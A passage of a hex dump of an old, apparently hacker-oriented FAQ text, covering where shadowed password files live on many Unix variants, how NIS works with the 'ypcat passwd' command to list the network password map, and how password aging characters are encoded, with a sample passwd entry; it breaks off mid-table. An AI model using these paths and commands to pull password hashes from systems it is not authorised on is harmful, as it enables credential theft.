|00002120| 6c 29 3b 0d 0a 7d 0d 0a | 0d 0a 0d 0a 30 34 2e 20 |l);..}..|....04. |
|00002130| 57 68 65 72 65 20 63 61 | 6e 20 49 20 66 69 6e 64 |Where ca|n I find|
|00002140| 20 74 68 65 20 70 61 73 | 73 77 6f 72 64 20 66 69 | the pas|sword fi|
|00002150| 6c 65 20 69 66 20 69 74 | 27 73 20 73 68 61 64 6f |le if it|'s shado|
|00002160| 77 65 64 3f 0d 0a 0d 0a | 55 6e 69 78 20 20 20 20 |wed?....|Unix |
|00002170| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 50 61 | | Pa|
|00002180| 74 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |th | |
|00002190| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 54 6f | | To|
|000021a0| 6b 65 6e 0d 0a 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |ken..---|--------|
|000021b0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000021c0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000021d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000021e0| 2d 2d 2d 2d 2d 2d 0d 0a | 41 49 58 20 33 20 20 20 |------..|AIX 3 |
|000021f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 2f 65 | | /e|
|00002200| 74 63 2f 73 65 63 75 72 | 69 74 79 2f 70 61 73 73 |tc/secur|ity/pass|
|00002210| 77 64 20 20 20 20 20 20 | 20 20 20 20 20 20 21 0d |wd | !.|
|00002220| 0a 20 20 20 20 20 20 20 | 6f 72 20 20 20 20 20 20 |. |or |
|00002230| 20 20 20 20 20 20 20 2f | 74 63 62 2f 61 75 74 68 | /|tcb/auth|
|00002240| 2f 66 69 6c 65 73 2f 3c | 66 69 72 73 74 20 6c 65 |/files/<|first le|
|00002250| 74 74 65 72 20 20 20 23 | 0d 0a 20 20 20 20 20 20 |tter #|.. |
|00002260| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002270| 20 20 20 20 20 20 6f 66 | 20 75 73 65 72 6e 61 6d | of| usernam|
|00002280| 65 3e 2f 3c 75 73 65 72 | 6e 61 6d 65 3e 0d 0a 41 |e>/<user|name>..A|
|00002290| 2f 55 58 20 33 2e 30 73 | 20 20 20 20 20 20 20 20 |/UX 3.0s| |
|000022a0| 20 20 20 20 20 2f 74 63 | 62 2f 66 69 6c 65 73 2f | /tc|b/files/|
|000022b0| 61 75 74 68 2f 3f 2f 2a | 0d 0a 42 53 44 34 2e 33 |auth/?/*|..BSD4.3|
|000022c0| 2d 52 65 6e 6f 20 20 20 | 20 20 20 20 20 20 20 20 |-Reno | |
|000022d0| 2f 65 74 63 2f 6d 61 73 | 74 65 72 2e 70 61 73 73 |/etc/mas|ter.pass|
|000022e0| 77 64 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |wd | |
|000022f0| 2a 0d 0a 43 6f 6e 76 65 | 78 4f 53 20 31 30 20 20 |*..Conve|xOS 10 |
|00002300| 20 20 20 20 20 20 20 20 | 20 2f 65 74 63 2f 73 68 | | /etc/sh|
|00002310| 61 64 70 77 20 20 20 20 | 20 20 20 20 20 20 20 20 |adpw | |
|00002320| 20 20 20 20 20 20 20 20 | 20 2a 0d 0a 43 6f 6e 76 | | *..Conv|
|00002330| 65 78 4f 53 20 31 31 20 | 20 20 20 20 20 20 20 20 |exOS 11 | |
|00002340| 20 20 2f 65 74 63 2f 73 | 68 61 64 6f 77 20 20 20 | /etc/s|hadow |
|00002350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002360| 20 20 2a 0d 0a 44 47 2f | 55 58 20 20 20 20 20 20 | *..DG/|UX |
|00002370| 20 20 20 20 20 20 20 20 | 20 20 20 2f 65 74 63 2f | | /etc/|
|00002380| 74 63 62 2f 61 61 2f 75 | 73 65 72 2f 20 20 20 20 |tcb/aa/u|ser/ |
|00002390| 20 20 20 20 20 20 20 20 | 20 20 20 2a 0d 0a 45 50 | | *..EP|
|000023a0| 2f 49 58 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |/IX | |
|000023b0| 20 20 20 20 2f 65 74 63 | 2f 73 68 61 64 6f 77 20 | /etc|/shadow |
|000023c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000023d0| 20 20 20 20 78 0d 0a 48 | 50 2d 55 58 20 20 20 20 | x..H|P-UX |
|000023e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2f 2e 73 | | /.s|
|000023f0| 65 63 75 72 65 2f 65 74 | 63 2f 70 61 73 73 77 64 |ecure/et|c/passwd|
|00002400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 0d 0a | | *..|
|00002410| 49 52 49 58 20 35 20 20 | 20 20 20 20 20 20 20 20 |IRIX 5 | |
|00002420| 20 20 20 20 20 20 2f 65 | 74 63 2f 73 68 61 64 6f | /e|tc/shado|
|00002430| 77 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w | |
|00002440| 20 20 20 20 20 20 78 0d | 0a 4c 69 6e 75 78 20 31 | x.|.Linux 1|
|00002450| 2e 31 20 20 20 20 20 20 | 20 20 20 20 20 20 20 2f |.1 | /|
|00002460| 65 74 63 2f 73 68 61 64 | 6f 77 20 20 20 20 20 20 |etc/shad|ow |
|00002470| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 2a | | *|
|00002480| 0d 0a 4f 53 46 2f 31 20 | 20 20 20 20 20 20 20 20 |..OSF/1 | |
|00002490| 20 20 20 20 20 20 20 20 | 2f 65 74 63 2f 70 61 73 | |/etc/pas|
|000024a0| 73 77 64 5b 2e 64 69 72 | 7c 2e 70 61 67 5d 20 20 |swd[.dir||.pag] |
|000024b0| 20 20 20 20 20 20 20 20 | 2a 0d 0a 53 43 4f 20 55 | |*..SCO U|
|000024c0| 6e 69 78 20 23 2e 32 2e | 78 20 20 20 20 20 20 20 |nix #.2.|x |
|000024d0| 20 2f 74 63 62 2f 61 75 | 74 68 2f 66 69 6c 65 73 | /tcb/au|th/files|
|000024e0| 2f 3c 66 69 72 73 74 20 | 6c 65 74 74 65 72 20 20 |/<first |letter |
|000024f0| 20 2a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | *.. | |
|00002500| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002510| 6f 66 20 75 73 65 72 6e | 61 6d 65 3e 2f 3c 75 73 |of usern|ame>/<us|
|00002520| 65 72 6e 61 6d 65 3e 0d | 0a 53 75 6e 4f 53 34 2e |ername>.|.SunOS4.|
|00002530| 31 2b 63 32 20 20 20 20 | 20 20 20 20 20 20 20 2f |1+c2 | /|
|00002540| 65 74 63 2f 73 65 63 75 | 72 69 74 79 2f 70 61 73 |etc/secu|rity/pas|
|00002550| 73 77 64 2e 61 64 6a 75 | 6e 63 74 20 20 20 20 23 |swd.adju|nct #|
|00002560| 23 75 73 65 72 6e 61 6d | 65 0d 0a 53 75 6e 4f 53 |#usernam|e..SunOS|
|00002570| 20 35 2e 30 20 20 20 20 | 20 20 20 20 20 20 20 20 | 5.0 | |
|00002580| 20 2f 65 74 63 2f 73 68 | 61 64 6f 77 0d 0a 20 20 | /etc/sh|adow.. |
|00002590| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000025a0| 20 20 20 20 3c 6f 70 74 | 69 6f 6e 61 6c 20 4e 49 | <opt|ional NI|
|000025b0| 53 2b 20 70 72 69 76 61 | 74 65 20 73 65 63 75 72 |S+ priva|te secur|
|000025c0| 65 20 6d 61 70 73 2f 74 | 61 62 6c 65 73 2f 77 68 |e maps/t|ables/wh|
|000025d0| 61 74 65 76 65 72 3e 0d | 0a 53 79 73 74 65 6d 20 |atever>.|.System |
|000025e0| 56 20 52 65 6c 65 61 73 | 65 20 34 2e 30 20 20 2f |V Releas|e 4.0 /|
|000025f0| 65 74 63 2f 73 68 61 64 | 6f 77 20 20 20 20 20 20 |etc/shad|ow |
|00002600| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 78 | | x|
|00002610| 0d 0a 53 79 73 74 65 6d | 20 56 20 52 65 6c 65 61 |..System| V Relea|
|00002620| 73 65 20 34 2e 32 20 20 | 2f 65 74 63 2f 73 65 63 |se 4.2 |/etc/sec|
|00002630| 75 72 69 74 79 2f 2a 20 | 64 61 74 61 62 61 73 65 |urity/* |database|
|00002640| 0d 0a 55 6c 74 72 69 78 | 20 34 20 20 20 20 20 20 |..Ultrix| 4 |
|00002650| 20 20 20 20 20 20 20 20 | 2f 65 74 63 2f 61 75 74 | |/etc/aut|
|00002660| 68 5b 2e 64 69 72 7c 2e | 70 61 67 5d 20 20 20 20 |h[.dir|.|pag] |
|00002670| 20 20 20 20 20 20 20 20 | 2a 0d 0a 55 4e 49 43 4f | |*..UNICO|
|00002680| 53 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |S | |
|00002690| 20 2f 65 74 63 2f 75 64 | 62 20 20 20 20 20 20 20 | /etc/ud|b |
|000026a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000026b0| 20 2a 0d 0a 0d 0a 0d 0a | 30 35 2e 20 57 68 61 74 | *......|05. What|
|000026c0| 20 69 73 20 4e 49 53 2f | 79 70 3f 0d 0a 0d 0a 4e | is NIS/|yp?....N|
|000026d0| 49 53 20 28 4e 65 74 77 | 6f 72 6b 20 49 6e 66 6f |IS (Netw|ork Info|
|000026e0| 72 6d 61 74 69 6f 6e 20 | 53 79 73 74 65 6d 29 20 |rmation |System) |
|000026f0| 69 6e 20 74 68 65 20 63 | 75 72 72 65 6e 74 20 6e |in the c|urrent n|
|00002700| 61 6d 65 20 66 6f 72 20 | 77 68 61 74 20 77 61 73 |ame for |what was|
|00002710| 20 6f 6e 63 65 0d 0a 6b | 6e 6f 77 6e 20 61 73 20 | once..k|nown as |
|00002720| 79 70 20 28 59 65 6c 6c | 6f 77 20 50 61 67 65 73 |yp (Yell|ow Pages|
|00002730| 29 2e 20 20 54 68 65 20 | 70 75 72 70 6f 73 65 20 |). The |purpose |
|00002740| 66 6f 72 20 4e 49 53 20 | 69 73 20 74 6f 20 61 6c |for NIS |is to al|
|00002750| 6c 6f 77 20 6d 61 6e 79 | 0d 0a 6d 61 63 68 69 6e |low many|..machin|
|00002760| 65 73 20 6f 6e 20 61 20 | 6e 65 74 77 6f 72 6b 20 |es on a |network |
|00002770| 74 6f 20 73 68 61 72 65 | 20 63 6f 6e 66 69 67 75 |to share| configu|
|00002780| 72 61 74 69 6f 6e 20 69 | 6e 66 6f 72 6d 61 74 69 |ration i|nformati|
|00002790| 6f 6e 2c 20 69 6e 63 6c | 75 64 69 6e 67 0d 0a 70 |on, incl|uding..p|
|000027a0| 61 73 73 77 6f 72 64 20 | 64 61 74 61 2e 20 20 4e |assword |data. N|
|000027b0| 49 53 20 69 73 20 6e 6f | 74 20 64 65 73 69 67 6e |IS is no|t design|
|000027c0| 65 64 20 74 6f 20 70 72 | 6f 6d 6f 74 65 20 73 79 |ed to pr|omote sy|
|000027d0| 73 74 65 6d 20 73 65 63 | 75 72 69 74 79 2e 20 20 |stem sec|urity. |
|000027e0| 49 66 0d 0a 79 6f 75 72 | 20 73 79 73 74 65 6d 20 |If..your| system |
|000027f0| 75 73 65 73 20 4e 49 53 | 20 79 6f 75 20 77 69 6c |uses NIS| you wil|
|00002800| 6c 20 68 61 76 65 20 61 | 20 76 65 72 79 20 73 68 |l have a| very sh|
|00002810| 6f 72 74 20 2f 65 74 63 | 2f 70 61 73 73 77 64 20 |ort /etc|/passwd |
|00002820| 66 69 6c 65 20 74 68 61 | 74 0d 0a 69 6e 63 6c 75 |file tha|t..inclu|
|00002830| 64 65 73 20 61 20 6c 69 | 6e 65 20 74 68 61 74 20 |des a li|ne that |
|00002840| 6c 6f 6f 6b 73 20 6c 69 | 6b 65 20 74 68 69 73 3a |looks li|ke this:|
|00002850| 0d 0a 0d 0a 2b 3a 3a 30 | 3a 30 3a 3a 3a 0d 0a 0d |....+::0|:0:::...|
|00002860| 0a 54 6f 20 76 69 65 77 | 20 74 68 65 20 72 65 61 |.To view| the rea|
|00002870| 6c 20 70 61 73 73 77 6f | 72 64 20 66 69 6c 65 20 |l passwo|rd file |
|00002880| 75 73 65 20 74 68 69 73 | 20 63 6f 6d 6d 61 6e 64 |use this| command|
|00002890| 20 22 79 70 63 61 74 20 | 70 61 73 73 77 64 22 0d | "ypcat |passwd".|
|000028a0| 0a 0d 0a 0d 0a 30 36 2e | 20 57 68 61 74 20 61 72 |.....06.| What ar|
|000028b0| 65 20 74 68 6f 73 65 20 | 77 65 69 72 64 20 63 68 |e those |weird ch|
|000028c0| 61 72 61 63 74 65 72 73 | 20 61 66 74 65 72 20 74 |aracters| after t|
|000028d0| 68 65 20 63 6f 6d 6d 61 | 20 69 6e 20 6d 79 20 70 |he comma| in my p|
|000028e0| 61 73 73 77 64 20 66 69 | 6c 65 3f 0d 0a 0d 0a 54 |asswd fi|le?....T|
|000028f0| 68 65 20 63 68 61 72 61 | 63 74 65 72 73 20 61 72 |he chara|cters ar|
|00002900| 65 20 70 61 73 73 77 6f | 72 64 20 61 67 69 6e 67 |e passwo|rd aging|
|00002910| 20 64 61 74 61 2e 20 20 | 50 61 73 73 77 6f 72 64 | data. |Password|
|00002920| 20 61 67 69 6e 67 20 66 | 6f 72 63 65 73 20 74 68 | aging f|orces th|
|00002930| 65 0d 0a 75 73 65 72 20 | 74 6f 20 63 68 61 6e 67 |e..user |to chang|
|00002940| 65 20 70 61 73 73 77 6f | 72 64 73 20 61 66 74 65 |e passwo|rds afte|
|00002950| 72 20 61 20 53 79 73 74 | 65 6d 20 41 64 6d 69 6e |r a Syst|em Admin|
|00002960| 69 73 74 72 61 74 6f 72 | 20 73 70 65 63 69 66 69 |istrator| specifi|
|00002970| 65 64 20 70 65 72 69 6f | 64 0d 0a 6f 66 20 74 69 |ed perio|d..of ti|
|00002980| 6d 65 2e 20 20 50 61 73 | 73 77 6f 72 64 20 61 67 |me. Pas|sword ag|
|00002990| 69 6e 67 20 63 61 6e 20 | 61 6c 73 6f 20 66 6f 72 |ing can |also for|
|000029a0| 63 65 20 61 20 75 73 65 | 72 20 74 6f 20 6b 65 65 |ce a use|r to kee|
|000029b0| 70 20 61 20 70 61 73 73 | 77 6f 72 64 20 66 6f 72 |p a pass|word for|
|000029c0| 0d 0a 61 20 63 65 72 74 | 61 69 6e 20 6e 75 6d 62 |..a cert|ain numb|
|000029d0| 65 72 20 6f 66 20 77 65 | 65 6b 73 20 62 65 66 6f |er of we|eks befo|
|000029e0| 72 65 20 63 68 61 6e 67 | 69 6e 67 20 69 74 2e 0d |re chang|ing it..|
|000029f0| 0a 0d 0a 5d 0d 0a 5d 20 | 53 61 6d 70 6c 65 20 65 |...]..] |Sample e|
|00002a00| 6e 74 72 79 20 66 72 6f | 6d 20 2f 65 74 63 2f 70 |ntry fro|m /etc/p|
|00002a10| 61 73 73 77 64 20 77 69 | 74 68 20 70 61 73 73 77 |asswd wi|th passw|
|00002a20| 6f 72 64 20 61 67 69 6e | 67 20 69 6e 73 74 61 6c |ord agin|g instal|
|00002a30| 6c 65 64 3a 0d 0a 5d 0d | 0a 5d 20 77 69 6c 6c 3a |led:..].|.] will:|
|00002a40| 35 66 67 36 33 66 68 44 | 33 64 2c 4d 2e 7a 38 3a |5fg63fhD|3d,M.z8:|
|00002a50| 39 34 30 36 3a 31 32 3a | 57 69 6c 6c 20 53 70 65 |9406:12:|Will Spe|
|00002a60| 6e 63 65 72 3a 2f 68 6f | 6d 65 2f 66 73 67 2f 77 |ncer:/ho|me/fsg/w|
|00002a70| 69 6c 6c 3a 2f 62 69 6e | 2f 62 61 73 68 0d 0a 5d |ill:/bin|/bash..]|
|00002a80| 0d 0a 0d 0a 4e 6f 74 65 | 20 74 68 65 20 63 6f 6d |....Note| the com|
|00002a90| 6d 61 20 69 6e 20 74 68 | 65 20 65 6e 63 72 79 70 |ma in th|e encryp|
|00002aa0| 74 65 64 20 70 61 73 73 | 77 6f 72 64 20 66 69 65 |ted pass|word fie|
|00002ab0| 6c 64 2e 20 20 54 68 65 | 20 63 68 61 72 61 63 74 |ld. The| charact|
|00002ac0| 65 72 73 20 61 66 74 65 | 72 0d 0a 74 68 65 20 63 |ers afte|r..the c|
|00002ad0| 6f 6d 6d 61 20 61 72 65 | 20 75 73 65 64 20 62 79 |omma are| used by|
|00002ae0| 20 74 68 65 20 70 61 73 | 73 77 6f 72 64 20 61 67 | the pas|sword ag|
|00002af0| 69 6e 67 20 6d 65 63 68 | 61 6e 69 73 6d 2e 0d 0a |ing mech|anism...|
|00002b00| 0d 0a 5d 0d 0a 5d 20 50 | 61 73 73 77 6f 72 64 20 |..]..] P|assword |
|00002b10| 61 67 69 6e 67 20 63 68 | 61 72 61 63 74 65 72 73 |aging ch|aracters|
|00002b20| 20 66 72 6f 6d 20 61 62 | 6f 76 65 20 65 78 61 6d | from ab|ove exam|
|00002b30| 70 6c 65 3a 0d 0a 5d 0d | 0a 5d 20 4d 2e 7a 38 0d |ple:..].|.] M.z8.|
|00002b40| 0a 5d 0d 0a 0d 0a 54 68 | 65 20 66 6f 75 72 20 63 |.]....Th|e four c|
|00002b50| 68 61 72 61 63 74 65 72 | 73 20 61 72 65 20 69 6e |haracter|s are in|
|00002b60| 74 65 72 70 72 65 74 65 | 64 20 61 73 20 66 6f 6c |terprete|d as fol|
|00002b70| 6c 6f 77 73 3a 0d 0a 0d | 0a 20 20 31 3a 20 4d 61 |lows:...|. 1: Ma|
|00002b80| 78 69 6d 75 6d 20 6e 75 | 6d 62 65 72 20 6f 66 20 |ximum nu|mber of |
|00002b90| 77 65 65 6b 73 20 61 20 | 70 61 73 73 77 6f 72 64 |weeks a |password|
|00002ba0| 20 63 61 6e 20 62 65 20 | 75 73 65 64 20 77 69 74 | can be |used wit|
|00002bb0| 68 6f 75 74 20 63 68 61 | 6e 67 69 6e 67 2e 0d 0a |hout cha|nging...|
|00002bc0| 20 20 32 3a 20 4d 69 6e | 69 6d 75 6d 20 6e 75 6d | 2: Min|imum num|
|00002bd0| 62 65 72 20 6f 66 20 77 | 65 65 6b 73 20 61 20 70 |ber of w|eeks a p|
|00002be0| 61 73 73 77 6f 72 64 20 | 6d 75 73 74 20 62 65 20 |assword |must be |
|00002bf0| 75 73 65 64 20 62 65 66 | 6f 72 65 20 63 68 61 6e |used bef|ore chan|
|00002c00| 67 69 6e 67 2e 0d 0a 33 | 26 34 3a 20 4c 61 73 74 |ging...3|&4: Last|
|00002c10| 20 74 69 6d 65 20 70 61 | 73 73 77 6f 72 64 20 77 | time pa|ssword w|
|00002c20| 61 73 20 63 68 61 6e 67 | 65 64 2c 20 69 6e 20 6e |as chang|ed, in n|
|00002c30| 75 6d 62 65 72 20 6f 66 | 20 77 65 65 6b 73 20 73 |umber of| weeks s|
|00002c40| 69 6e 63 65 20 31 39 37 | 30 2e 0d 0a 0d 0a 54 68 |ince 197|0.....Th|
|00002c50| 72 65 65 20 73 70 65 63 | 69 61 6c 20 63 61 73 65 |ree spec|ial case|
|00002c60| 73 20 73 68 6f 75 6c 64 | 20 62 65 20 6e 6f 74 65 |s should| be note|
|00002c70| 64 3a 0d 0a 0d 0a 49 66 | 20 74 68 65 20 66 69 72 |d:....If| the fir|
|00002c80| 73 74 20 61 6e 64 20 73 | 65 63 6f 6e 64 20 63 68 |st and s|econd ch|
|00002c90| 61 72 61 63 74 65 72 73 | 20 61 72 65 20 73 65 74 |aracters| are set|
|00002ca0| 20 74 6f 20 27 2e 2e 27 | 20 74 68 65 20 75 73 65 | to '..'| the use|
|00002cb0| 72 20 77 69 6c 6c 20 62 | 65 0d 0a 66 6f 72 63 65 |r will b|e..force|
|00002cc0| 64 20 74 6f 20 63 68 61 | 6e 67 65 20 68 69 73 2f |d to cha|nge his/|
|00002cd0| 68 65 72 20 70 61 73 73 | 77 64 20 74 68 65 20 6e |her pass|wd the n|
|00002ce0| 65 78 74 20 74 69 6d 65 | 20 68 65 2f 73 68 65 20 |ext time| he/she |
|00002cf0| 6c 6f 67 73 20 69 6e 2e | 20 20 54 68 65 0d 0a 70 |logs in.| The..p|
|00002d00| 61 73 73 77 64 20 70 72 | 6f 67 72 61 6d 20 77 69 |asswd pr|ogram wi|
|00002d10| 6c 6c 20 74 68 65 6e 20 | 72 65 6d 6f 76 65 20 74 |ll then |remove t|
|00002d20| 68 65 20 70 61 73 73 77 | 64 20 61 67 69 6e 67 20 |he passw|d aging |
|00002d30| 63 68 61 72 61 63 74 65 | 72 73 2c 20 61 6e 64 20 |characte|rs, and |
|00002d40| 74 68 65 0d 0a 75 73 65 | 72 20 77 69 6c 6c 20 6e |the..use|r will n|
|00002d50| 6f 74 20 62 65 20 73 75 | 62 6a 65 63 74 65 64 20 |ot be su|bjected |
|00002d60| 74 6f 20 70 61 73 73 77 | 6f 72 64 20 61 67 69 6e |to passw|ord agin|
|00002d70| 67 20 72 65 71 75 69 72 | 65 6d 65 6e 74 73 20 61 |g requir|ements a|
|00002d80| 67 61 69 6e 2e 0d 0a 0d | 0a 49 66 20 74 68 65 20 |gain....|.If the |
|00002d90| 74 68 69 72 64 20 61 6e | 64 20 66 6f 75 72 74 68 |third an|d fourth|
|00002da0| 20 63 68 61 72 61 63 74 | 65 72 73 20 61 72 65 20 | charact|ers are |
|00002db0| 73 65 74 20 74 6f 20 27 | 2e 2e 27 20 74 68 65 20 |set to '|..' the |
|00002dc0| 75 73 65 72 20 77 69 6c | 6c 20 62 65 0d 0a 66 6f |user wil|l be..fo|
|00002dd0| 72 63 65 64 20 74 6f 20 | 63 68 61 6e 67 65 20 68 |rced to |change h|
|00002de0| 69 73 2f 68 65 72 20 70 | 61 73 73 77 64 20 74 68 |is/her p|asswd th|
|00002df0| 65 20 6e 65 78 74 20 74 | 69 6d 65 20 68 65 2f 73 |e next t|ime he/s|
|00002e00| 68 65 20 6c 6f 67 73 20 | 69 6e 2e 20 50 61 73 73 |he logs |in. Pass|
|00002e10| 77 6f 72 64 0d 0a 61 67 | 69 6e 67 20 77 69 6c 6c |word..ag|ing will|
|00002e20| 20 74 68 65 6e 20 6f 63 | 63 75 72 20 61 73 20 64 | then oc|cur as d|
|00002e30| 65 66 69 6e 65 64 20 62 | 79 20 74 68 65 20 66 69 |efined b|y the fi|
|00002e40| 72 73 74 20 61 6e 64 20 | 73 65 63 6f 6e 64 20 63 |rst and |second c|
|00002e50| 68 61 72 61 63 74 65 72 | 73 2e 0d 0a 0d 0a 49 66 |haracter|s.....If|
|00002e60| 20 74 68 65 20 66 69 72 | 73 74 20 63 68 61 72 61 | the fir|st chara|
|00002e70| 63 74 65 72 20 28 4d 41 | 58 29 20 69 73 20 6c 65 |cter (MA|X) is le|
|00002e80| 73 73 20 74 68 61 6e 20 | 74 68 65 20 73 65 63 6f |ss than |the seco|
|00002e90| 6e 64 20 63 68 61 72 61 | 63 74 65 72 20 28 4d 49 |nd chara|cter (MI|
|00002ea0| 4e 29 2c 0d 0a 74 68 65 | 20 75 73 65 72 20 69 73 |N),..the| user is|
|00002eb0| 20 6e 6f 74 20 61 6c 6c | 6f 77 65 64 20 74 6f 20 | not all|owed to |
|00002ec0| 63 68 61 6e 67 65 20 68 | 69 73 2f 68 65 72 20 70 |change h|is/her p|
|00002ed0| 61 73 73 77 6f 72 64 2e | 20 20 4f 6e 6c 79 20 72 |assword.| Only r|
|00002ee0| 6f 6f 74 20 63 61 6e 0d | 0a 63 68 61 6e 67 65 20 |oot can.|.change |
|00002ef0| 74 68 61 74 20 75 73 65 | 72 73 20 70 61 73 73 77 |that use|rs passw|
|00002f00| 6f 72 64 2e 0d 0a 0d 0a | 49 74 20 73 68 6f 75 6c |ord.....|It shoul|
|00002f10| 64 20 61 6c 73 6f 20 62 | 65 20 6e 6f 74 65 64 20 |d also b|e noted |
|00002f20| 74 68 61 74 20 74 68 65 | 20 73 75 20 63 6f 6d 6d |that the| su comm|
|00002f30| 61 6e 64 20 64 6f 65 73 | 20 6e 6f 74 20 63 68 65 |and does| not che|
|00002f40| 63 6b 20 74 68 65 20 70 | 61 73 73 77 6f 72 64 0d |ck the p|assword.|
|00002f50| 0a 61 67 69 6e 67 20 64 | 61 74 61 2e 20 20 41 6e |.aging d|ata. An|
|00002f60| 20 61 63 63 6f 75 6e 74 | 20 77 69 74 68 20 61 6e | account| with an|
|00002f70| 20 65 78 70 69 72 65 64 | 20 70 61 73 73 77 6f 72 | expired| passwor|
|00002f80| 64 20 63 61 6e 20 62 65 | 20 73 75 27 64 20 74 6f |d can be| su'd to|
|00002f90| 0d 0a 77 69 74 68 6f 75 | 74 20 62 65 69 6e 67 20 |..withou|t being |
|00002fa0| 66 6f 72 63 65 64 20 74 | 6f 20 63 68 61 6e 67 65 |forced t|o change|
|00002fb0| 20 74 68 65 20 70 61 73 | 73 77 6f 72 64 2e 0d 0a | the pas|sword...|
|00002fc0| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00002fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 50 61 73 73 | | Pass|
|00002fe0| 77 6f 72 64 20 41 67 69 | 6e 67 20 43 6f 64 65 73 |word Agi|ng Codes|
|00002ff0| 0d 0a 2b 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |..+-----|--------|
|00003000| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003010| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003020| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003030| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2b 0d 0a 7c 20 |--------|---+..| |
|00003040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003060| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003070| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003080| 20 20 20 20 20 20 20 7c | 0d 0a 7c 20 43 68 61 72 | ||..| Char|
|00003090| 61 63 74 65 72 3a 20 20 | 2e 20 20 2f 20 20 30 20 |acter: |. / 0 |
|000030a0| 20 31 20 20 32 20 20 33 | 20 20 34 20 20 35 20 20 | 1 2 3| 4 5 |
|000030b0| 36 20 20 37 20 20 38 20 | 20 39 20 20 41 20 20 42 |6 7 8 | 9 A B|
|000030c0| 20 20 43 20 20 44 20 20 | 45 20 20 46 20 20 47 20 | C D |E F G |
|000030d0| 20 48 20 7c 0d 0a 7c 20 | 20 20 20 4e 75 6d 62 65 | H |..| | Numbe|
|000030e0| 72 3a 20 20 30 20 20 31 | 20 20 32 20 20 33 20 20 |r: 0 1| 2 3 |
|000030f0| 34 20 20 35 20 20 36 20 | 20 37 20 20 38 20 20 39 |4 5 6 | 7 8 9|
|00003100| 20 31 30 20 31 31 20 31 | 32 20 31 33 20 31 34 20 | 10 11 1|2 13 14 |
|00003110| 31 35 20 31 36 20 31 37 | 20 31 38 20 31 39 20 7c |15 16 17| 18 19 ||
|00003120| 0d 0a 7c 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..| | |
|00003130| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003140| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003160| 20 20 20 20 20 20 20 20 | 20 20 20 7c 0d 0a 7c 20 | | |..| |
|00003170| 43 68 61 72 61 63 74 65 | 72 3a 20 20 49 20 20 4a |Characte|r: I J|
|00003180| 20 20 4b 20 20 4c 20 20 | 4d 20 20 4e 20 20 4f 20 | K L |M N O |
|00003190| 20 50 20 20 51 20 20 52 | 20 20 53 20 20 54 20 20 | P Q R| S T |
|000031a0| 55 20 20 56 20 20 57 20 | 20 58 20 20 59 20 20 5a |U V W | X Y Z|
|000031b0| 20 20 61 20 20 62 20 7c | 0d 0a 7c 20 20 20 20 4e | a b ||..| N|
|000031c0| 75 6d 62 65 72 3a 20 32 | 30 20 32 31 20 32 32 20 |umber: 2|0 21 22 |
|000031d0| 32 33 20 32 34 20 32 35 | 20 32 36 20 32 37 20 32 |23 24 25| 26 27 2|
|000031e0| 38 20 32 39 20 33 30 20 | 33 31 20 33 32 20 33 33 |8 29 30 |31 32 33|
|000031f0| 20 33 34 20 33 35 20 33 | 36 20 33 37 20 33 38 20 | 34 35 3|6 37 38 |
|00003200| 33 39 20 7c 0d 0a 7c 20 | 20 20 20 20 20 20 20 20 |39 |..| | |
|00003210| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003230| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003240| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 7c | | ||
|00003250| 0d 0a 7c 20 43 68 61 72 | 61 63 74 65 72 3a 20 20 |..| Char|acter: |
|00003260| 63 20 20 64 20 20 65 20 | 20 66 20 20 67 20 20 68 |c d e | f g h|
